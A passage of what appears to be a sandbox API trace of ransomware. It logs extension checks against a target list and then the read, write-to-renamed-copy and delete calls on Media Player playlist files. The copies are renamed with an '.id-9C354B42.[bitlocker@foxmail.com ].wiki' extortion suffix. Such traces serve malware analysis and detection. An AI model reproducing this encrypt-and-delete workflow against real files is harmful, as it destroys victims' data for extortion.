(lpString=".bz2") returned 4 [0180.632] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString=".7z") returned 3 [0180.632] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString=".dbf") returned 4 [0180.632] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString=".1cd") returned 4 [0180.632] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString=".jpg") returned 4 [0180.632] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.632] lstrlenW (lpString=".doc") returned 4 [0180.632] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString=".docx") returned 5 [0180.633] lstrcmpiW (lpString1=".docx", lpString2="s.wpl") returned -1 [0180.633] lstrlenW (lpString=".pdf") returned 4 [0180.633] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString=".xls") returned 4 [0180.633] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.633] lstrlenW (lpString=".xlsx") returned 5 [0180.633] lstrcmpiW (lpString1=".xlsx", lpString2="s.wpl") returned -1 [0180.633] lstrlenW (lpString=".ppt") returned 4 [0180.633] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.633] lstrlenW (lpString=".zip") returned 4 [0180.633] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.633] lstrlenW (lpString=".rar") returned 4 [0180.633] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString=".bz2") returned 4 [0180.633] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString=".7z") returned 3 [0180.633] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.633] lstrlenW (lpString=".dbf") returned 4 [0180.633] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.633] lstrlenW (lpString=".1cd") returned 4 [0180.633] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.633] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\08_Video_rated_at_4_or_5_stars.wpl") returned 131 [0180.633] lstrlenW (lpString=".jpg") returned 4 [0180.633] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.634] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.634] lstrlenW (lpString="09_Music_played_the_most.wpl") returned 28 [0180.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.634] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1025) returned 1 [0180.634] CloseHandle (hObject=0x19c) returned 1 [0180.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl")) returned 0x2020 [0180.634] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.634] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.634] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.634] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.635] GetLastError () returned 0x0 [0180.635] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x401, lpOverlapped=0x0) returned 1 [0180.636] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x410, lpOverlapped=0x0) returned 1 [0180.637] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.637] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x10c, lpOverlapped=0x0) returned 1 [0180.637] SetEndOfFile (hFile=0x158) returned 1 [0180.637] CloseHandle (hObject=0x158) returned 1 [0180.638] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.638] SetEndOfFile (hFile=0x19c) returned 1 [0180.638] CloseHandle (hObject=0x19c) returned 1 [0180.638] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.639] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\09_music_played_the_most.wpl")) returned 1 [0180.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.639] lstrlenW (lpString=".doc") returned 4 [0180.639] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.639] lstrlenW (lpString=".docx") returned 5 [0180.639] lstrcmpiW (lpString1=".docx", lpString2="t.wpl") returned -1 [0180.639] lstrlenW (lpString=".pdf") returned 4 [0180.639] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.639] lstrlenW (lpString=".xls") returned 4 [0180.639] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.639] lstrlenW (lpString=".xlsx") returned 5 [0180.639] lstrcmpiW (lpString1=".xlsx", lpString2="t.wpl") returned -1 [0180.639] lstrlenW (lpString=".ppt") returned 4 [0180.639] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.639] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.639] lstrlenW (lpString=".zip") returned 4 [0180.639] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.639] lstrlenW (lpString=".rar") returned 4 [0180.639] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.639] lstrlenW (lpString=".bz2") returned 4 [0180.639] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.639] lstrlenW (lpString=".7z") returned 3 [0180.639] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString=".dbf") returned 4 [0180.640] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString=".1cd") returned 4 [0180.640] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString=".jpg") returned 4 [0180.640] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString=".doc") returned 4 [0180.640] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString=".docx") returned 5 [0180.640] lstrcmpiW (lpString1=".docx", lpString2="t.wpl") returned -1 [0180.640] lstrlenW (lpString=".pdf") returned 4 [0180.640] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString=".xls") returned 4 [0180.640] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.640] lstrlenW (lpString=".xlsx") returned 5 [0180.640] lstrcmpiW (lpString1=".xlsx", lpString2="t.wpl") returned -1 [0180.640] lstrlenW (lpString=".ppt") returned 4 [0180.640] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.640] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.640] lstrlenW (lpString=".zip") returned 4 [0180.640] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.640] lstrlenW (lpString=".rar") returned 4 [0180.641] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.641] lstrlenW (lpString=".bz2") returned 4 [0180.641] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.641] lstrlenW (lpString=".7z") returned 3 [0180.641] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.641] lstrlenW (lpString=".dbf") returned 4 [0180.641] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.641] lstrlenW (lpString=".1cd") returned 4 [0180.641] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.641] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\09_Music_played_the_most.wpl") returned 125 [0180.641] lstrlenW (lpString=".jpg") returned 4 [0180.641] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.641] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.641] lstrlenW (lpString="10_All_Music.wpl") returned 16 [0180.641] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.641] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1063) returned 1 [0180.642] CloseHandle (hObject=0x19c) returned 1 [0180.642] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl")) returned 0x2020 [0180.642] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0180.642] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.642] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.642] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0180.642] GetLastError () returned 0x0 [0180.642] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x427, lpOverlapped=0x0) returned 1 [0180.879] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0x430, lpOverlapped=0x0) returned 1 [0180.880] ReadFile (in: hFile=0x19c, lpBuffer=0x3e20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0180.880] WriteFile (in: hFile=0x158, lpBuffer=0x3e20020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e20020*, lpNumberOfBytesWritten=0x329fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0180.880] SetEndOfFile (hFile=0x158) returned 1 [0180.880] CloseHandle (hObject=0x158) returned 1 [0180.881] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0180.881] SetEndOfFile (hFile=0x19c) returned 1 [0180.881] CloseHandle (hObject=0x19c) returned 1 [0180.881] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.882] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl")) returned 1 [0180.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.882] lstrlenW (lpString=".doc") returned 4 [0180.882] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString=".docx") returned 5 [0180.882] lstrcmpiW (lpString1=".docx", lpString2="c.wpl") returned -1 [0180.882] lstrlenW (lpString=".pdf") returned 4 [0180.882] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString=".xls") returned 4 [0180.882] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.882] lstrlenW (lpString=".xlsx") returned 5 [0180.882] lstrcmpiW (lpString1=".xlsx", lpString2="c.wpl") returned -1 [0180.882] lstrlenW (lpString=".ppt") returned 4 [0180.882] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.882] lstrlenW (lpString=".zip") returned 4 [0180.882] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.882] lstrlenW (lpString=".rar") returned 4 [0180.882] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString=".bz2") returned 4 [0180.882] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString=".7z") returned 3 [0180.882] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.882] lstrlenW (lpString=".dbf") returned 4 [0180.882] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.882] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString=".1cd") returned 4 [0180.883] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString=".jpg") returned 4 [0180.883] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString=".doc") returned 4 [0180.883] lstrcmpiW (lpString1=".doc", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString=".docx") returned 5 [0180.883] lstrcmpiW (lpString1=".docx", lpString2="c.wpl") returned -1 [0180.883] lstrlenW (lpString=".pdf") returned 4 [0180.883] lstrcmpiW (lpString1=".pdf", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString=".xls") returned 4 [0180.883] lstrcmpiW (lpString1=".xls", lpString2=".wpl") returned 1 [0180.883] lstrlenW (lpString=".xlsx") returned 5 [0180.883] lstrcmpiW (lpString1=".xlsx", lpString2="c.wpl") returned -1 [0180.883] lstrlenW (lpString=".ppt") returned 4 [0180.883] lstrcmpiW (lpString1=".ppt", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString=".zip") returned 4 [0180.883] lstrcmpiW (lpString1=".zip", lpString2=".wpl") returned 1 [0180.883] lstrlenW (lpString=".rar") returned 4 [0180.883] lstrcmpiW (lpString1=".rar", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString=".bz2") returned 4 [0180.883] lstrcmpiW (lpString1=".bz2", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString=".7z") returned 3 [0180.883] lstrcmpiW (lpString1=".7z", lpString2="wpl") returned -1 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.883] lstrlenW (lpString=".dbf") returned 4 [0180.883] lstrcmpiW (lpString1=".dbf", lpString2=".wpl") returned -1 [0180.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.884] lstrlenW (lpString=".1cd") returned 4 [0180.884] lstrcmpiW (lpString1=".1cd", lpString2=".wpl") returned -1 [0180.884] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 113 [0180.884] lstrlenW (lpString=".jpg") returned 4 [0180.884] lstrcmpiW (lpString1=".jpg", lpString2=".wpl") returned -1 [0180.884] lstrcmpiW (lpString1=".wpl", lpString2=".wiki") returned 1 [0180.884] lstrlenW (lpString="08_Video_rated_at_4_or_5_stars.wpl") returned 34 [0180.884] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0181.747] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1020) returned 1 [0181.747] CloseHandle (hObject=0x160) returned 1 [0181.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl")) returned 0x2020 [0181.747] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.747] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync 